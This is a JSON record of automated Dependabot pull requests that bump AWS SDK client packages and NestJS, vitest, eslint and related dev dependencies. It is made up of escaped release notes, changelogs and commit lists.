href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/2b62c86019889b1c992d13487de415115279fbf8\"\u003e2b62c860\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  This release adds ActionConfiguration to PutMetricAlarm, PutCompositeAlarm and PutLogAlarm. It allows customers to include an alarm's tags in its notifications and alarm state change events (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ae7349077d8a6917a553b468f1f9704f63b7afa3\"\u003eae734907\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-observabilityadmin:\u003c/strong\u003e  Adding support for EKS Container Insights Telemetry Rules (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3c63647d7897d553f1f00e36de54eb5f94c263b7\"\u003e3c63647d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-xray:\u003c/strong\u003e  Adds support for encrypting the Transaction Search spans log group with a customer managed AWS KMS key. Pass the key ARN in the new CloudWatchLogsConfiguration.SpansLogGroupKmsKeyId field of UpdateTraceSegmentDestination. X-Ray applies the key when it creates the log group. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/154d49fd78ab2bda589b4a03f3a7061efbb859d0\"\u003e154d49fd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-databrew:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/67b90539ed1ba3cfc683e6c0276b41f8ae89b99f\"\u003e67b90539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent:\u003c/strong\u003e  Adds Retrieval Instructions for Amazon Bedrock Knowledge Bases. Create, get, update, delete, list, and version customer-authored instructions that guide how a knowledge base retrieves and answers, with content review before use. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d16d5176d8e0809b948c9a32eb5778b05c2c1e7b\"\u003ed16d5176\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-emr-containers:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4ba3e7bbab14ce31280b6beb74afdbadc9b8049e\"\u003e4ba3e7bb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agent-runtime:\u003c/strong\u003e  Adds support for applying a Retrieval Instruction, optionally by version, to AgenticRetrieveStream requests for Amazon Bedrock Knowledge Bases, and reports the applied instruction and version on the trace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a065ceb4d25bc8a810712d7319a37e105ef2d8af\"\u003ea065ceb4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-dynamodb:\u003c/strong\u003e  Enable account endpoint generation for existing CN and GovCloud regions (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca19aa35fd5555729bb74037015e8c97499cb642\"\u003eca19aa35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-datazone:\u003c/strong\u003e  Adds SDK and CLI support for the Iceberg REST catalog connection types already available in Amazon SageMaker Unified Studio - ICEBERGRESTCATALOG, SNOWFLAKEICEBERGRESTCATALOG, and DATABRICKSICEBERGRESTCATALOG. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/589405154b0a66e2ea212629dea13241fde0f2cc\"\u003e58940515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-drs:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/50b058d144b917125aa49d08a8b3fbf34c716b5b\"\u003e50b058d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-amplify:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7e7cacf5a108ddde97b1604a21e9cc242ac0c114\"\u003e7e7cacf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-bedrock-agentcore:\u003c/strong\u003e  Adds the Builtin.FailureAnalysis evaluator for batch evaluations. GetBatchEvaluation now returns insightResults that group session failures into insights with root causes and suggested fixes. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/e34db602ee2b503787aa6a773d9bfbb6a25ed1c1\"\u003ee34db602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codecommit:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f6d27955eafb97949159410ad7e42b0decc07237\"\u003ef6d27955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-controltower:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/60659ee5353e375121fd3fdc683511243ef338e0\"\u003e60659ee5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces:\u003c/strong\u003e  Adds optional imageValidationMode enum to ImportCustomWorkspaceImageRequest. This allows customers to opt-in to having prevalidation run in the service account instead of customer account. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/38638dc747e9d3d6959eba0b23f3c962ec6b9307\"\u003e38638dc7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect GetAttachedFile API now supports an optional UrlContentDisposition parameter. Set it to INLINE to get a pre-signed URL that displays the file in the browser, so agents can preview email attachments without downloading them. ATTACHMENT (download) remains the default. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/81ad4d8e306be2b96e79d97bf179de424ec649c8\"\u003e81ad4d8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch-logs:\u003c/strong\u003e  Amazon CloudWatch Logs now supports filtering DescribeDeliverySources by resourceArns, DescribeDeliveryDestinations by names, and DescribeDeliveries by deliverySourceNames. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/01e43f5704d34499152ec8099746afe49fbafed7\"\u003e01e43f57\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-grafana:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4971fd765b459428dcf433eb104a241bef5cbb62\"\u003e4971fd76\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-socialmessaging:\u003c/strong\u003e  Adding support for WhatsApp Direct Send. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0721adf50944d4077ff8b6327e7c145c4edd5f48\"\u003e0721adf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-timestream-influxdb:\u003c/strong\u003e  Adds four new parameters to the InfluxDBv3Enterprise parameter group for Amazon Timestream for InfluxDB. The new parameters are upgradePachaTree, walBufferSize, snapshotSize, and snapshotDuration. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f97769a6cd4a346e2522ee0f288b006a835a8bc\"\u003e1f97769a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codedeploy:\u003c/strong\u003e  Adds support for suspending Amazon EC2 Auto Scaling processes during CodeDeploy EC2 in-place deployments. Use ec2DeploymentOptions to choose which processes are suspended and resumed. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/43c16517dc79ef4e519688a06820ddf07730cb9d\"\u003e43c16517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codestar-notifications:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b2679b610245c018d9e0e469549b79d5208f3dd0\"\u003eb2679b61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ecs:\u003c/strong\u003e  Adds support for configurable envoy application log levels. Customers can now debug network connectivity issues with their task's sidecar envoys. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/fca981d8614d2254efc0dedf3f01217ede005b73\"\u003efca981d8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-opensearch:\u003c/strong\u003e  Amazon OpenSearch Service adds a new TLS security policy to support FIPS policy and post-quantum cryptography (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f035263194102654c4cc6aa9d71579c19b9404d3\"\u003ef0352631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces-instances:\u003c/strong\u003e  ModifyVolume is a new public API for WorkSpaces Core Managed Instances. Customers can change the size, type, IOPS, or throughput of an existing managed volume online, with no stop required. Customers track progress by calling EC2 DescribeVolumesModifications directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7689ba6bcf82d36b26a4f7267a97b1b33f459b63\"\u003e7689ba6b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-iot-wireless:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/202f66a716eedc953d9d0a2471e80f03d3ae3756\"\u003e202f66a7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etoken-providers:\u003c/strong\u003e  await in-flight SSO token refresh (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8363\"\u003e#8363\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a8459b35151dac985633a889a6d2fed51ef0b884\"\u003ea8459b35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  include preview/ in dependency version checks (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8362\"\u003e#8362\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ef0483d3f70550c3f4cddce2f930484bf4c48761\"\u003eef0483d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-s3/CHANGELOG.md\"\u003e@​aws-sdk/client-s3's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1152.0...v3.1153.0\"\u003e3.1153.0\u003c/a\u003e (2026-10-19)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1151.0...v3.1152.0\"\u003e3.1152.0\u003c/a\u003e (2026-10-14)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1150.0...v3.1151.0\"\u003e3.1151.0\u003c/a\u003e (2026-10-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1149.0...v3.1150.0\"\u003e3.1150.0\u003c/a\u003e (2026-10-12)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1148.0...v3.1149.0\"\u003e3.1149.0\u003c/a\u003e (2026-10-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1147.0...v3.1148.0\"\u003e3.1148.0\u003c/a\u003e (2026-10-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1146.0...v3.1147.0\"\u003e3.1147.0\u003c/a\u003e (2026-10-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35085844c581d910f51deea1b2de48f6b4ffa704\"\u003e\u003ccode\u003e3508584\u003c/code\u003e\u003c/a\u003e Publish v3.1153.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e\u003ccode\u003e3e350b5\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for JSON codec and schema server plugin (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8353\"\u003e#8353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3ce8aa778c22193dad5f7fcefe239e3a74a3cd4f\"\u003e\u003ccode\u003e3ce8aa7\u003c/code\u003e\u003c/a\u003e Publish v3.1152.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d6adfcb7baa396dd42060a74382b6aa2a1cbf0b5\"\u003e\u003ccode\u003ed6adfcb\u003c/code\u003e\u003c/a\u003e Publish v3.1151.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4c9a334a79b631cc110fb3a1d67695b4c07baf46\"\u003e\u003ccode\u003e4c9a334\u003c/code\u003e\u003c/a\u003e Publish v3.1150.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a960c14e8ce09ab8fd09352e40d75c6b9d52c1ca\"\u003e\u003ccode\u003ea960c14\u003c/code\u003e\u003c/a\u003e Publish v3.1149.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5773a7515472dbdf2760c61e4a462b71800c50e7\"\u003e\u003ccode\u003e5773a75\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for endpoint cache fix and pre-schema error fallback (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8\"\u003e#8\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1bc04256c276089739faa71754dba4fde75e05aa\"\u003e\u003ccode\u003e1bc0425\u003c/code\u003e\u003c/a\u003e Publish v3.1148.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/663046d58796f32069e5198f95a3070b2f5ef969\"\u003e\u003ccode\u003e663046d\u003c/code\u003e\u003c/a\u003e Publish v3.1147.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1153.0/clients/client-s3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-sesv2` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-sesv2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"htt...\n\n_Description has been truncated_","html_url":"https://github.com/liamariavisoiu-ai98/healdesk.io/pull/38","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/liamariavisoiu-ai98%2Fhealdesk.io/issues/38","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/38/packages"}},{"old_version":"5.0.4","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-23T11:57:05.000Z","version_change":"5.0.4 → 5.0.5","issue":{"uuid":"5997306360","node_id":"PR_kwDOPfE_c88AAAABKPiu2A","number":362,"state":"open","title":"chore(deps-dev): bump the dev-deps group with 9 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T11:57:05.000Z","updated_at":"2026-10-23T11:59:03.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-deps","update_count":9,"packages":[{"name":"@nestjs/cli","old_version":"12.0.8","new_version":"12.0.9","repository_url":"https://github.com/nestjs/nest-cli"},{"name":"@nestjs/schematics","old_version":"12.0.7","new_version":"12.0.9","repository_url":"https://github.com/nestjs/schematics"},{"name":"@nestjs/testing","old_version":"12.1.3","new_version":"12.2.0","repository_url":"https://github.com/nestjs/nest"},{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-prettier","old_version":"5.5.6","new_version":"5.5.7","repository_url":"https://github.com/prettier/eslint-plugin-prettier"},{"name":"ts-jest","old_version":"29.4.14","new_version":"29.4.15","repository_url":"https://github.com/kulshekhar/ts-jest"},{"name":"typescript-eslint","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-deps group with 9 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@nestjs/cli](https://github.com/nestjs/nest-cli) | `12.0.8` | `12.0.9` |\n| [@nestjs/schematics](https://github.com/nestjs/schematics) | `12.0.7` | `12.0.9` |\n| [@nestjs/testing](https://github.com/nestjs/nest/tree/HEAD/packages/testing) | `12.1.3` | `12.2.0` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.4` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier) | `5.5.6` | `5.5.7` |\n| [ts-jest](https://github.com/kulshekhar/ts-jest) | `29.4.14` | `29.4.15` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.2` | `8.72.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@nestjs/cli` from 12.0.8 to 12.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/nest-cli/releases\"\u003e@​nestjs/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 12.0.9\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(utils): ignore taskkill on a process that has exited by \u003ca href=\"https://github.com/johnnyhuirilef\"\u003e\u003ccode\u003e@​johnnyhuirilef\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3618\"\u003enestjs/nest-cli#3618\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(ci): migrate circleci config to version 2.1 by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3621\"\u003enestjs/nest-cli#3621\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compiler): resolve an absolute tsconfig path by \u003ca href=\"https://github.com/KAPUIST\"\u003e\u003ccode\u003e@​KAPUIST\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3620\"\u003enestjs/nest-cli#3620\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compiler): run the app only when tsc watch reports no errors by \u003ca href=\"https://github.com/KAPUIST\"\u003e\u003ccode\u003e@​KAPUIST\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3619\"\u003enestjs/nest-cli#3619\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(start): report when the app exits in watch mode by \u003ca href=\"https://github.com/thekhegay\"\u003e\u003ccode\u003e@​thekhegay\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3623\"\u003enestjs/nest-cli#3623\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(add): pass --dry-run to the library schematic by \u003ca href=\"https://github.com/lprnmns\"\u003e\u003ccode\u003e@​lprnmns\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3628\"\u003enestjs/nest-cli#3628\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(add): do not install the library on a dry run by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3632\"\u003enestjs/nest-cli#3632\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(new): offer to link the new project to nestjs observe by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3634\"\u003enestjs/nest-cli#3634\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lprnmns\"\u003e\u003ccode\u003e@​lprnmns\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3628\"\u003enestjs/nest-cli#3628\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\"\u003ehttps://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/448b7559008a6073ecafdd5ad5d063e2fd55932a\"\u003e\u003ccode\u003e448b755\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/020b9414ee7ef45cdc490f057f20f00be6e894aa\"\u003e\u003ccode\u003e020b941\u003c/code\u003e\u003c/a\u003e feat(new): offer to link the new project to nestjs observe (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3634\"\u003e#3634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5f270b6558823bd94c163ef70a1b7eb291f64f1b\"\u003e\u003ccode\u003e5f270b6\u003c/code\u003e\u003c/a\u003e fix(deps): update angular-cli monorepo to v22.2.3 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3630\"\u003e#3630\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/56ad49da773f383e99a73c64517f1e25ac7703c6\"\u003e\u003ccode\u003e56ad49d\u003c/code\u003e\u003c/a\u003e chore(deps): update commitlint monorepo to v21.2.4 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3633\"\u003e#3633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/08d8f3c9fdef389a4623ac5c4c9e353a8fddcf04\"\u003e\u003ccode\u003e08d8f3c\u003c/code\u003e\u003c/a\u003e 